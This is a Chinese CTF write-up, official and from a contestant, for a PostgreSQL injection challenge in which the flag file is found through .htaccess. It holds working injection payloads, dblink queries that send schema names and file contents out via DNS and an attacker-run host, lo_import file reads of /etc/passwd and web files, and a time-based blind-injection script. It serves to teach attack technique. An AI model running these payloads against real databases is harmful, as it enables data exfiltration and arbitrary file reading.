按F注入

点击此处获得更好的阅读体验


WriteUp来源

官方WP

题目考点

  • PostgreSQL注入

解题过程

官方WP

本题是根据fbctf2019的一题改编。

访问题目,提示我们只有手机才能访问,并且给出了判断的代码

来到一个新的页面

经分析,当前页面中所有内容均为静态页面,点击投票不会发送请求,但是我们从注释中找到一个接口。

我们输入下看看,发现没有其他变化。我们尝试一下sql注入

1
2
3
4
5
6
7
8
9
10
11
12
13
game' and 1=0 --, 没有报错
game' and 1=1 --,没有报错
game' order by 1 --, 未报错
game' order by 2 --, 未报错
game' order by 3 --, 报错
game' union select 1,2 --,报错
game' union select 1,'a' --, 未报错
game' union select 1,pg_sleep(10) --, 报错
game' union select 1,cast(pg_sleep(10) as text) --, 未报错 (无报错无回显)
game' union select 1,'a' from pg_database --,未报错
game' union select 1,'a' from test123 --, 报错
game' union select 1,chr(65) --,未报错
game' union select 1,chr(-65) --, 未报错

我们发现当sql语句产生错误的时候才会弹出这个对话框

我们可以从pg_database没有报错看出是pgsql,pg_sleep也没有延时注入的痕迹,也没有回显,也无法盲注。但是pgsql支持dblink函数,既然没有回显,也没有盲注,我们看看能不能将消息外带。

我们尝试用DNS流量将信息外带出来,做一下尝试,成功接到,看来我们可以通过DNS流量获取我们所需要的信息。

1
/?f=1' AND (SELECT a FROM dblink('host=xxx.xxx.ceye.io dbname=docker_db user=postgres password=tiger','SELECT 1') AS t1(a text))::text = ''--%20

获取一下数据库的信息

1
/?f=1' AND (SELECT a FROM dblink('host='||(SELECT string_agg(schema_name,':') FROM information_schema.schemata)||'.xxx.xxx.ceye.io dbname=docker_db user=postgres password=game','SELECT 1') AS t1(a text))::text = ''--%20

获取表的信息

1
/?f=1' AND (SELECT a FROM dblink('host='||(SELECT string_agg(tablename, ':') FROM pg_catalog.pg_tables WHERE schemaname=current_schema())||'.xxx.ceye.io dbname=docker_db user=postgres password=game','SELECT 1') AS t1(a text))::text = ''--%20

后面发现表内没有数据,flag不在数据库中,那么应该是在文件中,需要我们去读取某个文件,我们先尝试利用lo_get这个函数读一下/etc/passwd

1
/?f=1' AND (SELECT a FROM dblink('host='||(SELECT lo_import('/etc/passwd'))||'.xxx.xxx.ceye.io dbname=docker_db user=postgres password=game','SELECT 1') AS t1(a text))::text = ''--%20

得到其oid

成功读取前五位。现在我们已经可以做到任意读写文件了,接下来考虑一下应该读取哪个文件,我们观察这个页面。

发现所有的图片后缀都是tank,应该是把.tank后缀结尾的文件当jpg来解析了,看看存不存在.htacess文件,发现存在这个文件。先读一下这个.htacess文件,发现存在pushF1n4AnK文件,并解析成php文件,继续读取这个文件即可得到flag。

大佬WP by Ha1c9on

Postgresql注⼊

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time
#x = 'SELECT string_agg(column_name, \',\') FROM information_schema.columns where table_schema=\'public\' and table_name=\'searches\''
x = 'SELECT string_agg(cast(oid as text), \',\') FROM pg_largeobject_metadata'
headers = {
"User-Agent": "iphone"
}
tmp = requests.get(url = "xxx.cloudeci1.ichunqiu.com/",headers=header)
ans = ''
for i in range(10,40):
l = 20
r = 128
while l < r:
mid = (l + r) // 2
payload = "http://xxx.cloudeci1.ichunqiu.com/?f=kaibro' union select 1,(select case when ascii(substring(({}),{},1))>{} then(cast(pg_sleep_for('0.05 minutes') as text)) else NULL end) --".format(x,i+1, mid)
print payload
try:
req = requests.get(payload, cookies=tmp.cookies, headers=headers)
except:
bb=1
a = time.time()
try:
req = requests.get(payload, cookies=tmp.cookies, headers=headers)
res = req.text
#print res
except:
bb=1
b = time.time()
if(b - a > 2):
l = mid + 1
else:
r = mid
ans += chr((l + r) // 2)
print ans

可以读到user=docker databasename = docker_db public searches 等数据,不过没啥⽤。

写oid

1
f=ha1c9on' union select (select lo_import('/var/www/html/index.php')),'1' --

读oid

1
f=ha1c9on' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(cast(oid as text), ',') FROM pg_largeobject_metadata) || ' password=postgres dbname=postgres')) --

开启远程VPS

1
sudo tcpdump -X -i eth0 port 5432 -v

读⽂件,因为postgresql 会在空格或者换⾏的时候阶段,所以直接替换为空

1
f=ha1c9on' UNION SELECT 1,(SELECT dblink_connect('host=IP port=5432 user=docker password=123456 dbname=docker_db'||(SELECT replace(substring(encode(lo_get(16441),'base64'),1,900),chr(10),'')))) --

尝试读文件.htaccess

1
2
3
4
<FilesMatch "pushF1n4AnK">
SetHandler application/x-httpd-php
</FilesMatch>
AddType image/jpeg .tank

读flag

1
/?f=ha1c9on' union select (select lo_import('/var/www/html/pushF1n4AnK')),'1' --

Flag

1